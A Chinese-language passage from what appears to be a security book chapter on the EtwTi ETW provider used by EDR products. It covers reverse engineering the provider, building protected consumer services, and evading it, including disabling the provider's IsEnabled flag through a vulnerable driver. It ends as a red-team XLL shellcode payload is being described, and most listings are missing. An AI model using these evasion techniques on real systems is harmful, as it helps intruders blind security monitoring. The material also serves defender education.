多年来,Microsoft Defender for Endpoint (MDE) 给进攻性安全从业者带来了巨大挑战,因为它能够检测到其他所有 EDR 厂商遗漏的问题。其有效性的主要原因之一是它使用了 Microsoft-Windows-Threat-Intelligence (EtwTi) ETW 提供程序。今天,发布 ELAM 驱动程序的开发者使用它来访问 Windows 上最强大的检测源之一。
尽管其名称如此,这个 ETW 提供程序并不会为你提供归属信息。相反,它报告一些先前无法被 EDR 获取的事件,如内存分配、驱动程序加载和系统调用策略违规,针对 Win32k(图形设备接口的内核组件)。这些事件在功能上替代了 EDR 厂商从用户模式函数钩子中获取的信息,而攻击者可以轻松规避这些钩子,正如 第二章 中所述。
由于该提供程序的事件源自内核,因此它比用户模式的替代方案更难规避,覆盖面更广,而且比函数钩子风险更低,因为该提供程序已集成在操作系统本身中。由于这些因素,很少遇到不使用它作为遥测源的成熟 EDR 厂商。
本章介绍了 EtwTi 提供程序的工作原理、其检测源、它发出的事件类型,以及攻击者可能如何规避检测。
逆向工程提供程序
在我们介绍 EtwTi 提供程序发出的事件类型之前,您需要了解它是如何获取信息的。不幸的是,Microsoft 没有提供该提供程序内部的公开文档,因此发现这些信息在很大程度上是一个手动过程。
作为一个案例分析,本节介绍了 EtwTi 的一个来源示例:当开发者将内存分配的保护级别更改为标记为可执行时会发生什么。恶意软件开发者经常使用这种技术;他们首先将 shellcode 写入一个标记为读写(RW)权限的分配区域,然后通过如 kernel32!VirtualProtect() 这样的 API 将其更改为读执行(RX)权限,然后执行 shellcode。
当恶意软件开发者调用这个 API 时,执行最终会流向系统调用ntdll!NtProtectVirtualMemory()。执行流被转移到内核,在那里进行一些安全检查和验证。接着,调用了nt!MmProtectVirtualMemory()来更改分配的保护级别。这一切都很标准,可以合理地假设nt!NtProtectVirtualMemory()会在此时进行清理并返回。然而,内核中的最后一个条件代码块,如清单 12-1 所示,如果保护级别更改成功,它会调用nt!EtwTiLogProtectExecVm()。
if ((-1 < (int)status) &&
(status = protectionMask, ProtectionMask = MiMakeProtectionMask(protectionMask),
((uVar2 | ProtectionMask) & 2) != 0)) {
puStack_c0 = (ulonglong*)((ulonglong)puStack_c0 & 0xffffffff00000000 | (ulonglong)status);
OldProtection = param_4;
**EtwTiLogProtectExecVm(TargetProcess,AccessMode,BaseAddress,NumberOfBytes);**
}
清单 12-1:在nt!NtProtectVirtualMemory()内部调用的 EtwTi 函数
这个函数的名字暗示它负责记录可执行内存区域的保护变化。
检查提供者和事件是否已启用
在这个函数中调用了nt!EtwProviderEnabled(),其定义见清单 12-2。它验证指定的 ETW 提供者是否在系统上启用。
BOOLEAN EtwProviderEnabled(
REGHANDLE RegHandle, UCHAR Level,
ULONGLONG Keyword
);
清单 12-2:nt!EtwProviderEnabled()定义
这个函数最有趣的部分是< samp class="SANS_TheSansMonoCd_W5Regular_11">RegHandle参数,它是全局的EtwThreatIntProvRegHandle,在这个提供者的情况下。这个句柄在每个 EtwTi 函数中都会被引用,意味着我们可以用它来找到其他感兴趣的函数。如果我们检查全局 ETW 提供者句柄的交叉引用,如图 12-1 所示,我们可以看到它有 31 个其他引用,其中大多数是其他 EtwTi 函数。

图 12-1:对ThreatIntProviderGuid的交叉引用
其中一个交叉引用来自nt!EtwpInitialize(),这是一个在启动过程中调用的函数,负责注册系统 ETW 提供者等任务。为此,它调用了nt!EtwRegister()函数。此函数的签名如清单 12-3 所示。
NTSTATUS EtwRegister(
LPCGUID ProviderId,
PETWENABLECALLBACK EnableCallback,
PVOID CallbackContext,
PREGHANDLE RegHandle
);
清单 12-3:nt!EtwRegister()定义
该函数在启动过程中被调用,传入一个指向名为 ThreatIntProviderGuid 的 GUID 的指针,显示在 清单 12-4 中。
EtwRegister(&ThreatIntProviderGuid,0,0,&EtwThreatIntProvRegHandle);
清单 12-4:注册 ThreatIntProviderGuid
指向的 GUID 位于 .data 段中,在 图 12-2 中显示为 f4e1897c-bb5d-5668-f1d8-040f4d8dd344。

图 12-2:由 ThreatIntProviderGuid 指向的 GUID
如果提供者已启用,系统会检查事件描述符,以确定该特定事件是否已为提供者启用。此检查由 nt!EtwEventEnabled() 函数执行,该函数使用 nt!EtwProviderEnabled() 使用的提供者句柄和与要记录的事件对应的 EVENT_DESCRIPTOR 结构。逻辑根据调用线程的上下文(用户或内核)决定使用哪个 EVENT_DESCRIPTOR。
完成这些检查后,EtwTi 函数构建一个包含如 nt!EtwpTiFillProcessIdentity() 和 nt!EtwpTiFillVad() 等函数的结构。该结构并不容易静态反向分析,但幸运的是,它被传递到 nt!EtwWrite() 中,后者是一个用于发出事件的函数。我们可以使用调试器来检查它。
确定已发出的事件
到此为止,我们知道系统调用将数据传递给 nt!EtwTiLogProtectExecVm(),该函数通过 EtwTi 提供者在 ETW 上发出一个事件。但发出的具体事件仍然未知。为了收集此信息,让我们通过 WinDbg 查看传递给 nt!EtwWrite() 的 PEVENT_DATA_DESCRIPTOR 中的数据。
通过在写入 ETW 事件的函数上设置条件断点,当其调用堆栈包含 nt!EtwTiLogProtectExecVm() 时,我们可以进一步调查传递给该函数的参数(清单 12-5)。
1: kd> **bp nt!EtwWrite "r $t0 = 0;**
**.foreach (p {k}) {**
**.if ($spat(\"p\", \"nt!EtwTiLogProtectExecVm*\")) {**
**r $t0 = 1; .break**
**}**
**};**
**.if($t0 = 0) {gc}"**
1: kd> **g**
nt!EtwWrite
fffff807`7b693500 4883ec48 sub rsp, 48h
1: kd> **k**
# Child-SP RetAddr Call Site
00 ffff9285`03dc6788 fffff807`7bc0ac99 nt!EtwWrite
01 ffff9285`03dc6790 fffff807`7ba96860 nt!EtwTiLogProtectExecVm+0x15c031 ❶
02 ffff9285`03dc69a0 fffff807`7b808bb5 nt!NtProtectVirtualMemory+0x260
03 ffff9285`03dc6a90 00007ffc`48f8d774 nt!KiSystemServiceCopyEnd+0x25 ❷
04 00000025`3de7bc78 00007ffc`46ab4d86 0x00007ffc`48f8d774
05 00000025`3de7bc80 000001ca`0002a040 0x00007ffc`46ab4d86
06 00000025`3de7bc88 00000000`00000008 0x000001ca`0002a040
07 00000025`3de7bc90 00000000`00000000 0x8
清单 12-5:使用条件断点监视对 nt!EtwTiLogProtectExecVm() 的调用
这个调用栈显示了一个对 ntdll!NtProtectVirtualMemory() 的调用,从用户模式浮现并命中系统服务调度表 (SSDT) ❷,这实际上只是一个函数地址数组,用于处理给定的系统调用。然后控制权被传递到 nt!NtProtectVirtualMemory(),在那里调用了 nt!EtwTiLogProtectExecVm() ❶,正如我们之前通过静态分析所识别的那样。
传递给 nt!EtwWrite() 的 UserDataCount 参数包含其第五个参数 UserData 中的 EVENT_DATA_DESCRIPTOR 结构的数量。这个值将被存储在 R9 寄存器中,并可用于显示存储在 RAX 中的 UserData 数组中的所有条目。该过程在 清单 12-6 中的 WinDbg 输出中有所展示。
1: **kd> dq @rax L(@r9*2)**
ffff9285`03dc67e0 ffffa608`af571740 00000000`00000004
ffff9285`03dc67f0 ffffa608`af571768 00000000`00000008
ffff9285`03dc6800 ffff9285`03dc67c0 00000000`00000008
ffff9285`03dc6810 ffffa608`af571b78 00000000`00000001
`--snip--`
清单 12-6:使用 R9 中存储的条目数列出 UserData 中的值
WinDbg 输出中的每一行的前 64 位值是指向数据的指针,接下来的值描述数据的字节大小。不幸的是,这些数据没有名称或标签,因此需要手动过程来发现每个描述符所描述的内容。为了破译哪个指针包含哪种类型的数据,我们可以使用本节前面收集到的提供程序 GUID:f4e1897c-bb5d-5668-f1d8-040f4d8dd344。
如 第八章 中讨论的那样,ETW 提供程序可以注册一个事件清单,描述由提供程序发出的事件及其内容。我们可以使用 logman.exe 工具列出这些提供程序,如 清单 12-7 所示。搜索与 EtwTi 提供程序相关的 GUID 会发现该提供程序的名称是 Microsoft-Windows-Threat-Intelligence。
PS > **logman query providers | findstr /i "{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}"**
Microsoft-Windows-Threat-Intelligence {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}
清单 12-7:使用 logman.exe 获取提供程序的名称
在确定了提供程序的名称后,我们可以将其传递给如 PerfView 等工具,以获取提供程序的清单。当 清单 12-8 中的 PerfView 命令完成时,它将在被调用的目录中创建清单文件。
PS > **PerfView64.exe userCommand DumpRegisteredManifest Microsoft-Windows-Threat-Intelligence**
清单 12-8:使用 PerfView 转储提供程序清单
你可以在生成的 XML 文件中查看与虚拟内存保护相关的清单部分。理解 UserData 数组数据的最重要部分在于 标签,如 清单 12-9 中所示。
清单 12-9:PerfView 转储的 ETW 提供程序清单 比较清单中指定的数据大小与 EVENT_DATA_DESCRIPTOR 结构的 Size 字段,发现数据顺序相同。利用这些信息,我们可以提取事件的各个字段。例如,ProtectionMask 和 LastProtectionMask 与 ntdll!NtProtectVirtualMemory() 的 NewAccessProtection 和 OldAccessProtection 分别对应。UserData 数组中的最后两个条目与它们的数据类型匹配。清单 12-10 显示了我们如何使用 WinDbg 检查这些值。 清单 12-10:使用 WinDbg 评估保护掩码变化 我们可以检查值的内容,看到 LastProtectionMask ❷ 最初是 PAGE_EXECUTE_READ (0x20),现在已更改为 PAGE_READWRITE (0x4) ❶。现在我们知道,移除内存分配中的可执行标志导致了事件的触发。 尽管我们已经探索了从用户模式函数调用到事件被触发的流程,但我们只针对单个传感器进行了分析,即 nt!EtwTiLogProtectExecVm()。在撰写本文时,已有 11 个这样的传感器,如 表 12-1 所示。 表 12-1: 安全性和安全缓解传感器 另外,10 个传感器与安全缓解措施相关,并通过其前缀EtwTim进行标识。这些传感器通过不同的提供程序 Microsoft-Windows-Security-Mitigations 发出事件,但功能与正常的 EtwTi 传感器完全相同。它们负责生成关于安全缓解措施违规的警报,例如加载低完整性级别或远程图像,或基于系统配置触发任意代码保护。虽然这些漏洞缓解措施超出了本书的范围,但在调查 EtwTi 传感器时,你偶尔会遇到它们。 表 12-1 中的传感器是什么原因导致其发出事件?幸运的是,我们有一种相对简单的方法来弄清楚这一点。大多数传感器衡量来自用户模式的活动,而为了从用户模式切换到内核模式,需要发出系统调用(syscall)。在控制权交给内核后,执行将进入以Nt为前缀的函数,SSDT 将处理入口点的解析。 因此,我们可以将以Nt为前缀的函数路径映射到以EtwTi为前缀的函数,以识别由于用户模式中的操作而触发事件的 API。Ghidra 和 IDA 都提供了调用树映射功能,通常可以实现这一目的。然而,它们的性能可能有限。例如,Ghidra 的默认搜索深度为五个节点,较长的搜索会呈指数级增长,并且非常难以解析。 为了解决这个问题,我们可以使用一个专门用于识别路径的系统,比如图数据库 Neo4j。如果你曾经使用过 BloodHound 这个攻击路径映射工具,那你其实已经在某种形式上使用过 Neo4j。Neo4j 可以映射任何类型项之间的关系(称为 边)。例如,BloodHound 使用 Active Directory 实体作为节点,而像访问控制项、组成员身份和 Microsoft Azure 权限等属性作为边。 为了映射节点和边,Neo4j 支持一种名为 Cypher 的查询语言,其语法介于结构化查询语言(SQL)和 ASCII 艺术之间,通常看起来像是一个手绘图。BloodHound 的发明者之一 Rohan Vazarkar 写了一篇关于 Cypher 查询的精彩博文《Intro to Cypher》,它仍然是该主题的最佳资源之一。 为了与 Neo4j 配合使用,我们需要一个结构化的数据集,通常是 JSON 格式,用于定义节点和边。然后,我们使用来自 Cypher 插件库 Awesome Procedures 的函数(如 apoc.load.json())将该数据集加载到 Neo4j 数据库中。数据加载后,我们可以在 Neo4j 服务器上的 Web 界面或连接的 Neo4j 客户端中使用 Cypher 查询数据。 我们必须使用插件从 Ghidra 或 IDA 提取所需的数据,以便将调用图映射到图形数据库中,然后将其转换为 JSON。具体来说,JSON 对象中的每个条目需要包含三个属性:一个字符串,包含将作为节点的函数名称,一个用于后续分析的入口点偏移量,以及作为边的外部引用(换句话说,即该函数调用的函数)。 开源的 Ghidra 脚本 CallTreeToJSON.py 会遍历 Ghidra 分析过的程序中的所有函数,收集感兴趣的属性,并为 Neo4j 创建新的 JSON 对象进行加载。为了映射与 EtwTi 传感器相关的路径,我们必须首先在 Ghidra 中加载并分析 ntoskrnl.exe 内核映像。然后,我们可以将 Python 脚本加载到 Ghidra 的脚本管理器中并执行它。这将创建一个名为 xrefs.json 的文件,我们可以将其加载到 Neo4j 中。它包含了清单 12-11 中所示的 Cypher 命令。 清单 12-11:将调用树加载到 Ghidra 中 将 JSON 文件导入 Neo4j 后,我们可以使用 Cypher 查询数据集。 为确保一切设置正确,我们来编写一个查询,映射到 EtwTiLogProtectExecVm 传感器的路径。简单来说,清单 12-12 中的查询表示:“返回任何长度的最短路径,从任何以 Nt 开头的函数名,到我们指定的传感器函数。” 列表 12-12:映射 Nt 函数与 EtwTiLogProtectExecVm 传感器之间的最短路径 当输入到 Neo4j 时,它应该显示图 12-3 所示的路径。 图 12-3:系统调用与 EtwTi 函数之间的简单路径 其他传感器的调用树要复杂得多。例如,nt!EtwTiLogMapExecView()传感器的调用树有 12 个层级,最终回溯到nt!NtCreatePagingFile()。你可以通过修改之前查询中的传感器名称来查看这一点,从而生成图 12-4 中的路径。 图 12-4:从nt!NtCreatePagingFile() 到nt!EtwTiLogMapExecView() 如此示例所示,许多系统调用间接触及传感器。列举这些调用对于寻找覆盖漏洞可能很有用,但生成的信息量可能会迅速变得压倒性。 你可能希望将查询的范围限制为三到四个层级(代表两到三个调用);这些查询应返回直接负责调用传感器函数并包含条件逻辑的 API。以之前的示例为例,限定范围的查询将显示系统调用ntdll!NtMapViewOfSection()直接调用传感器函数,而系统调用ntdll!NtMapViewOfSectionEx()则通过内存管理器函数间接调用传感器,如图 12-5 所示。 图 12-5:返回更有用结果的限定查询 对 EtwTi 传感器函数进行此类分析会产生关于它们调用者的信息,包括直接和间接调用者。表 12-2 展示了其中一些映射。 表 12-2: EtwTi 传感器到系统调用的映射 在查看此数据集时需要考虑的一个重要事实是,Ghidra 不会在调用树中考虑条件调用,而是查找函数内部的call指令。这意味着,尽管从 Cypher 查询生成的图表在技术上是正确的,但在所有实例中可能不会遵循这些图表。为了演示这一点,读者可以进行一个练习,反向分析ntdll!NtAllocateVirtualMemory(),找到决定调用nt!EtwTiLogAllocExecVm()传感器的地方。 在第八章中,你学习了 EDR 如何从其他 ETW 提供者获取事件。要尝试从 EtwTi 获取 ETW 事件,请在提升的命令提示符中运行清单 12-13 中的命令。 清单 12-13:从 EtwTi 提供者收集事件的 Logman 命令 尽管你已在高完整性下运行命令,但你可能会收到访问被拒绝的错误。这是因为微软在 Windows 10 及更高版本中实施的一个安全功能,名为Secure ETW,它防止恶意软件进程读取或篡改反恶意软件跟踪。为实现这一点,Windows 只允许具有PS_PROTECTED_ANTIMALWARE_LIGHT保护级别的进程和以SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT服务保护类型启动的服务从该通道消费事件。 让我们探索进程保护,以便你更好地理解如何从 EtwTi 消费事件。 进程保护允许敏感进程(例如与 DRM 保护内容交互的进程)避免外部进程的交互。虽然最初为媒体播放器等软件创建,但随着受保护进程轻量化(PPL)的引入,此保护最终扩展到其他类型的应用程序。在现代版本的 Windows 中,不仅 Windows 组件,而且第三方应用程序广泛使用 PPL,正如在 图 12-6 中的进程资源管理器窗口中所见。 图 12-6:各个进程的保护级别 您可以在 Windows 上备份每个进程的 EPROCESS 结构的保护字段中查看进程的保护状态。该字段是 PS_PROTECTION 类型的,它在 列表 12-14 中定义。 列表 12-14: PS_PROTECTION 结构定义 Type 成员与 列表 12-15 中的 PS_PROTECTED_TYPE 枚举中的一个值相关联。 列表 12-15: PS_PROTECTED_TYPE 枚举 最后,Signer 成员是来自 列表 12-16 中定义的 PS_PROTECTED_SIGNER 枚举的一个值。 列表 12-16: PS_PROTECTED_SIGNER 枚举 例如,让我们来看一下 msmpeng.exe,即 Microsoft Defender 的主要进程的进程保护状态,使用 WinDbg,如 列表 12-17 中演示的。 列表 12-17:评估 msmpeng.exe 进程的进程保护级别 进程的保护类型是 PsProtectedTypeProtectedLight ❶,其签名者是 PsProtectedSignerAntimalware(相当于十进制中的 3) ❷。在这种保护级别下,也被称为 PsProtectedSignerAntimalware-Light,外部进程有限的能力请求访问该进程,并且内存管理器将阻止未正确签名的模块(如 DLL 和应用程序兼容性数据库)加载到该进程中。 要创建一个运行在此保护级别下的进程,实际上并不像将标志传递给kernel32!CreateProcess()那样简单。Windows 会将映像文件的数字签名与用于签名许多软件的微软根证书授权进行验证,从驱动程序到第三方应用程序。 它还通过检查多个增强密钥使用(EKU)扩展中的一个,来验证文件并确定进程的签名级别。如果该签名级别未能主导请求的签名级别,意味着签名者属于DominateMask成员的RTL_PROTECTED_ACCESS结构,Windows 会检查该签名级别是否可以在运行时进行自定义。如果可以,Windows 将检查签名级别是否与系统上任何已注册的运行时签名者匹配,如果找到匹配项,它将使用运行时签名者的注册数据(如签名者的哈希值和 EKU)来验证证书链。如果所有检查都通过,Windows 将授予请求的签名级别。 要创建具有所需保护级别的进程或服务,开发人员需要一个签名的 ELAM 驱动程序。该驱动程序必须具有一个嵌入式资源,MICROSOFTELAMCERTIFICATEINFO,其中包含用于保护用户模式进程或服务相关可执行文件的证书哈希值和哈希算法,并且最多可以包含三个 EKU 扩展。操作系统将在启动时通过对nt!SeRegisterElamCertResources()的内部调用解析或注册此信息(或者管理员可以在运行时手动执行此操作)。如果注册发生在启动过程中,它将在预启动期间进行,即在将控制权交给 Windows 启动管理器之前,如列表 12-18 中的 WinDbg 输出所示。 列表 12-18:启动过程中注册的 ELAM 资源 你很少会在企业产品中看到手动注册选项的实现,因为在启动时解析的资源在运行时不需要进一步交互。不过,这两种选项的结果相同,并且可以互换使用。 注册后,当找到签名级别匹配时,该驱动程序将可用于比较。本节的其余部分将介绍在端点代理上下文中实施消费者应用程序的实现。 为了创建资源并将其注册到系统中,开发者首先需要获得一个包含 Early Launch 和 Code Signing EKU 的证书,可以通过证书颁发机构获取,或者在测试环境中生成一个自签名证书。我们可以使用New-SelfSignedCertificate PowerShell cmdlet 创建自签名证书,如 列表 12-19 所示。 列表 12-19:生成并导出代码签名证书 此命令生成一个新的自签名证书,添加 Early Launch 和 Code Signing EKU,然后将其导出为 .pfx 格式。 接下来,开发者使用此证书对其可执行文件及任何依赖的 DLL 进行签名。你可以使用 列表 12-20 中包含的 signtool.exe 语法来执行此操作。 列表 12-20:使用生成的证书对可执行文件进行签名 此时,服务可执行文件已满足作为保护启动的签名要求。但在启动之前,驱动程序的资源必须被创建并注册。 创建资源所需的第一条信息是证书的待签名(TBS)哈希值。第二条信息是证书的文件摘要算法。截止本文写作时,这个字段可以是以下四个值中的一个:0x8004(SHA10)、x800C(SHA256)、0x800D(SHA384)或 0x800E(SHA512)。我们在使用signtool.exe创建证书时,通过 /fd 参数指定了这个算法。 我们可以使用certmgr.exe并带上 -v 参数来收集这两个值,如 列表 12-21 所示。 列表 12-21:使用 certmgr.exe 检索待签名哈希值和签名算法 哈希值位于 Content Hash 下,签名算法位于 Content SignatureAlgorithm 下。 现在,我们可以向驱动程序项目中添加一个新的资源文件,内容如 列表 12-22 所示,并编译驱动程序。 列表 12-22:MicrosoftElamCertificateInfo 资源内容 此资源的第一个值是条目数;在我们的案例中,只有一个条目,但最多可以有三个。接下来是我们之前收集的 TBS 哈希值,后面是与使用的哈希算法(在我们的例子中是 SHA256)对应的十六进制值。 最后,有一个字段,我们可以在其中指定额外的 EKU(扩展密钥用法)。开发者使用这些来唯一标识由相同证书颁发机构签名的反恶意软件组件。例如,如果主机上有两个服务具有相同的签名者,但只有一个需要使用SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT标志启动,则开发者可以在签名该服务时添加唯一的 EKU,并将其添加到 ELAM 驱动程序的资源中。系统随后将在以反恶意软件保护级别启动服务时评估此额外的 EKU。由于我们没有在资源中提供任何额外的 EKU,我们传递的相当于一个空字符串。 然后,我们使用与签名服务可执行文件相同的语法来签名驱动程序(清单 12-23)。 清单 12-23:使用我们的证书签名驱动程序 现在,资源将被包含在驱动程序中,并准备好安装。 如果开发者希望操作系统处理加载证书信息,他们只需按照第 229 页“注册 ELAM 驱动程序”中描述的方法创建内核服务。如果他们希望在运行时安装 ELAM 证书,他们可以在代理中使用注册功能,例如在清单 12-24 中显示的函数。 清单 12-24:在系统上安装证书 这段代码首先打开一个到包含MicrosoftElamCertificateInfo资源的 ELAM 驱动程序的句柄。然后将该句柄传递给kernel 32!InstallELAMCertificateInfo()以将证书安装到系统中。 此时,只剩下创建并启动具有所需保护级别的服务。可以通过多种方式完成此操作,但最常见的方式是通过 Win32 API 编程完成。清单 12-25 显示了一个示例函数。 清单 12-25:创建消费者服务 首先,我们打开一个到服务控制管理器的句柄❶,这是负责监控主机上所有服务的操作系统组件。接下来,我们通过调用kernel32!CreateServiceW() ❷来创建基础服务。此函数接受服务名称、显示名称和服务二进制文件路径等信息,并在完成时返回指向新创建服务的句柄。然后,我们调用kernel32!ChangeServiceConfig2W()来设置新服务的保护级别❸。 当此函数成功完成时,Windows 将启动受保护的消费者服务,并在图 12-7 的进程资源管理器窗口中显示运行状态。 图 12-7:具有所需保护级别的 EtwTi 消费者服务正在运行 现在,它可以开始与来自 EtwTi 提供者的事件一起工作。 你可以以几乎相同的方式为 EtwTi 提供者编写消费者,就像为普通的 ETW 消费者编写消费者一样,这一过程在第八章中讨论过。一旦你完成了前一节描述的保护和签名步骤,接收、处理和提取事件数据的代码与其他提供者相同。 然而,由于 EtwTi 消费者服务是受保护的,你可能会发现很难在开发过程中与事件一起工作,例如通过读取 printf 样式的输出。幸运的是,提供者的清单可以为你提供事件格式、ID 和关键字,这将使处理事件变得更加容易。 由于 EtwTi 传感器位于内核中,它们为 EDR 提供了一个强大的遥测源,且难以篡改。然而,攻击者仍有一些方法可以使传感器的功能失效,或者至少与它们共存。 最简单的规避方法是使用 Neo4j 返回所有触发 EtwTi 传感器的系统调用,然后避免在操作中调用这些函数。这意味着你需要找到其他方法来执行内存分配等任务,这可能会很有挑战性。 例如,Cobalt Strike 的 Beacon 支持三种内存分配方法:HeapAlloc、MapViewOfFile 和 VirtualAlloc。后两种方法都调用一个系统调用(syscall),该调用被 EtwTi 传感器监控。而第一种方法则调用 ntdll!RtlAllocateHeap(),它没有直接指向 EtwTi 函数的外部引用,因此被认为是最安全的选择。缺点是它不支持在远程进程中进行分配,因此无法使用该方法执行进程注入。 就像本书中所有遥测源一样,请记住,一些其他源可能正在处理 EtwTi 传感器的间隙。例如,安全终端代理可以跟踪和扫描由用户模式程序创建的可执行堆分配。微软也可能随时修改 API 来调用现有的传感器或添加全新的传感器。这要求团队在每个新的 Windows 构建中重新映射从系统调用到 EtwTi 传感器的关系,这可能会耗费一些时间。 另一种选择是简单地使内核中的全局跟踪句柄无效化。Upayan Saha 的“仅数据攻击:中和 EtwTi 提供程序”博客文章详细介绍了这种技术。操作者需要在一个易受攻击的驱动程序中具有任意读写原语,例如前几个版本的技嘉 atillk64.sys 和 LG 设备管理器 lha.sys 中的已签名驱动程序,这两个驱动程序是由 PC 硬件和外围设备制造商发布用于合法设备支持目的。 这种技术的主要挑战是定位定义用于启用提供程序的 TRACE_ENABLE_INFO 结构。在这个结构内部有一个成员 IsEnabled,我们必须手动将其更改为 0 以防止事件传达到安全产品。我们可以利用已经学到的有关事件发布方式的部分知识来帮助简化这个过程。 从前面的部分回顾,所有传感器在调用 nt!EtwWrite() 发出事件时使用全局 EtwThreatIntProvRegHandle REGHANDLE。该句柄实际上是指向一个 ETW_REG_ENTRY 结构的指针,该结构本身在其 GuidEntry 成员(偏移量 0x20)中包含一个指向 ETW_GUID_ENTRY 结构的指针,如 Listing 12-26 中所示。 Listing 12-26: 获取 ETW_GUID_ENTRY 结构的地址 这个结构是内核的事件提供者记录,包含一个由八个 TRACE_ENABLE_INFO 结构组成的数组,位于其 EnableInfo 成员(偏移量 0x80)。默认情况下只使用第一个条目,其内容包含在 Listing 12-27 中。 Listing 12-27: 提取第一个 TRACE_ENABLE_INFO 结构的内容 该成员是一个无符号长整型(根据微软文档,它实际上是一个布尔值),表示提供程序是否为跟踪会话启用 ❶。 如果攻击者可以将该值修改为 0,他们可以禁用 Microsoft-Windows-Threat-Intelligence 提供程序,从而阻止消费者接收事件。通过逆向这些嵌套结构,我们可以使用以下步骤找到目标: 找到由 EtwThreatIntRegHandle 指向的 ETW_REG_ENTRY 的地址 找到 ETW_GUID_ENTRY 的地址,该地址由 ETW_REG_ENTRY 结构的 GuidEntry 成员(偏移量 0x20)指向 向地址中添加 0x80 以获取数组中第一个 TRACE_ENABLE_INFO 结构的 IsEnabled 成员 查找 EtwThreatIntProvRegHandle 的地址是此技术中最具挑战性的部分,因为它需要使用易受攻击驱动程序中的任意读取来搜索与结构指针配合使用的操作码模式。 根据他在博客中的文章,Saha 使用 nt!KeInsertQueueApc() 作为搜索的起始点,因为此函数由 ntoskrnl.exe 导出,并在早期调用 nt!EtwProviderEnabled 时引用 REGHANDLE 的地址。根据 Windows 的调用约定,第一个传递给函数的参数存储在 RCX 寄存器中。因此,在调用 nt!EtwProviderEnabled 之前,这个地址将通过 MOV 指令放入寄存器中。通过搜索与 mov rcx,qword ptr [x] 对应的操作码 48 8b 0d,从函数入口点到调用 nt!EtwProviderEnabled,我们可以识别出 REGHANDLE 的虚拟地址。然后,使用之前识别的偏移量,我们可以将其 IsEnabled 成员设置为 0。 另一种定位EtwThreatIntProvRegHandle的方法是使用其相对于内核基地址的偏移量。由于内核地址空间布局随机化(KASLR),我们无法知道其完整的虚拟地址,但其偏移量在重启后证明是稳定的。例如,在某个版本的 Windows 中,该偏移量为0xC197D0,如列表 12-28 所示。 列表 12-28:查找REGHANDLE的偏移量 本列表的最后一行将内核的基地址与REGHANDLE的地址相减。我们可以通过以用户模式运行ntdll!NtQuerySystemInformation()并使用SystemModuleInformation信息类来检索此基地址,具体示例见列表 12-29。 列表 12-29:获取内核的基地址 该函数首先获取指向ntdll!NtQuerySystemInformation() ❶的函数指针,然后调用它,传入SystemModuleInformation信息类 ❷。完成后,该函数将填充RTL_PROCESS_MODULES结构体(命名为ModuleInfo),此时可以通过引用数组中第一个条目的ImageBase属性来获取内核地址 ❸。 你仍然需要一个具有写入任意位置功能的驱动程序来修补该值,但使用这种方法可以避免我们需要解析内存中的操作码。尽管如此,这种技术也引入了跟踪EtwThreatIntProvRegHandle在所有操作的内核版本中的偏移量的问题,因此它也不是没有挑战的。 此外,采用此技术的人还必须考虑它生成的遥测。例如,在 Windows 11 上加载一个有漏洞的驱动程序更为困难,因为默认启用了受 Hypervisor 保护的代码完整性,这可以阻止已知含有漏洞的驱动程序。在检测层面,加载新驱动程序将触发nt!EtwTiLogDriverObjectLoad()传感器,这在系统或环境中可能是不典型的,从而引发响应。 Microsoft-Windows-Threat-Intelligence ETW 提供程序是当前 EDR 最重要的数据源之一。它通过在进程执行过程中插入 inline 的方式,提供对系统上执行进程的无与伦比的可视性,类似于函数钩子 DLL。尽管它们有相似之处,但这个提供程序及其钩子位于内核中,在那里它们更不容易通过直接攻击来规避。规避此数据源更多的是学会如何绕过它,而不是找到其实现中的明显漏洞或逻辑缺陷。 到目前为止,我们已经讨论了 EDR 的设计、其组件的逻辑以及传感器的内部工作原理。然而,我们错过了一个至关重要的环节:如何在现实世界中应用这些信息。在本章中,我们将系统地分析我们希望针对目标系统采取的行动,并评估被检测到的风险。 我们将以一家虚构公司 Binford Tools 为目标,Binford 6100 左手螺丝刀的发明者。Binford 请求我们识别从被入侵的用户工作站到存储 6100 机密设计信息的数据库的攻击路径。我们需要尽可能隐蔽,以便公司能了解其 EDR 能够检测到什么。让我们开始吧。 Binford 的环境仅由运行最新版本 Windows 操作系统的主机构成,所有认证均通过内部的 Active Directory 控制。每台主机都部署并运行了一个通用的 EDR,且我们在任何时候都不能禁用、移除或卸载它。 我们的联系人已同意提供一个目标电子邮件地址,一个员工(我们称之为白细胞)将监控该邮箱,点击我们发送的任何链接。然而,他们不会添加任何明确允许我们的有效载荷绕过其 EDR 的规则。这将使我们能减少社交工程的时间,将更多精力集中在评估技术检测和防范措施上。 此外,Binford 的每个员工都拥有其工作站的本地管理员权限,这样可以减轻 Binford 帮助台的负担。Binford 要求我们在操作中利用这一点,以便他们能利用此次活动的结果推动政策的改变。 我们首先选择我们的钓鱼方法。我们需要快速直接访问目标的工作站,因此我们选择传送有效载荷。在此次行动时的威胁情报报告告诉我们,制造行业正在经历使用 Excel 插件(XLL)文件投放恶意软件的案件激增。攻击者常常滥用 XLL 文件(它允许开发者创建高性能的 Excel 工作表函数)通过钓鱼建立立足点。 为了模拟 Binford 可能在未来响应的攻击,我们选择使用这种格式作为我们的有效载荷。XLL 文件其实就是需要导出一个 xlAutoOpen() 函数(理想情况下,还有其补充函数 xlAutoClose())的 DLL 文件,因此我们可以使用简单的 shellcode 运行器来加速开发过程。 现在,我们必须做出与检测相关的设计决策。我们是应该在本地,即在 excel.exe 进程中运行 shellcode,让它与该进程的生命周期绑定,还是应该远程运行它?如果我们创建了自己的宿主进程并将其注入,或者我们针对了一个现有进程,我们的 shellcode 可以运行得更久,但由于 excel.exe 启动了子进程,且远程进程注入的痕迹可能存在,检测的风险也会更高。 由于我们以后总可以进行更多钓鱼攻击,因此我们选择使用本地运行器,并避免过早触发任何检测。列表 13-1 显示了我们的 XLL 有效载荷代码的样子。 列表 13-1:XLL 有效载荷源代码 这个本地 shellcode 运行器类似于许多基于 DLL 的有效载荷。导出的 xlAutoOpen() 函数首先包含一段 shellcode(为简洁起见已截断)❶,这段代码使用字符串 specter 作为密钥进行了 XOR 加密❷。该函数的第一个操作是使用该对称密钥解密 shellcode❸。接着,它使用 kernel32!VirtualAlloc() 创建一个带有读写权限的内存分配❹,并将解密后的 shellcode 复制到该内存中❺,为执行做好准备。然后,函数将新缓冲区的内存权限更改为可执行❻。最后,指向缓冲区的指针被传递给 kernel32!CreateThread(),它在新线程中执行该 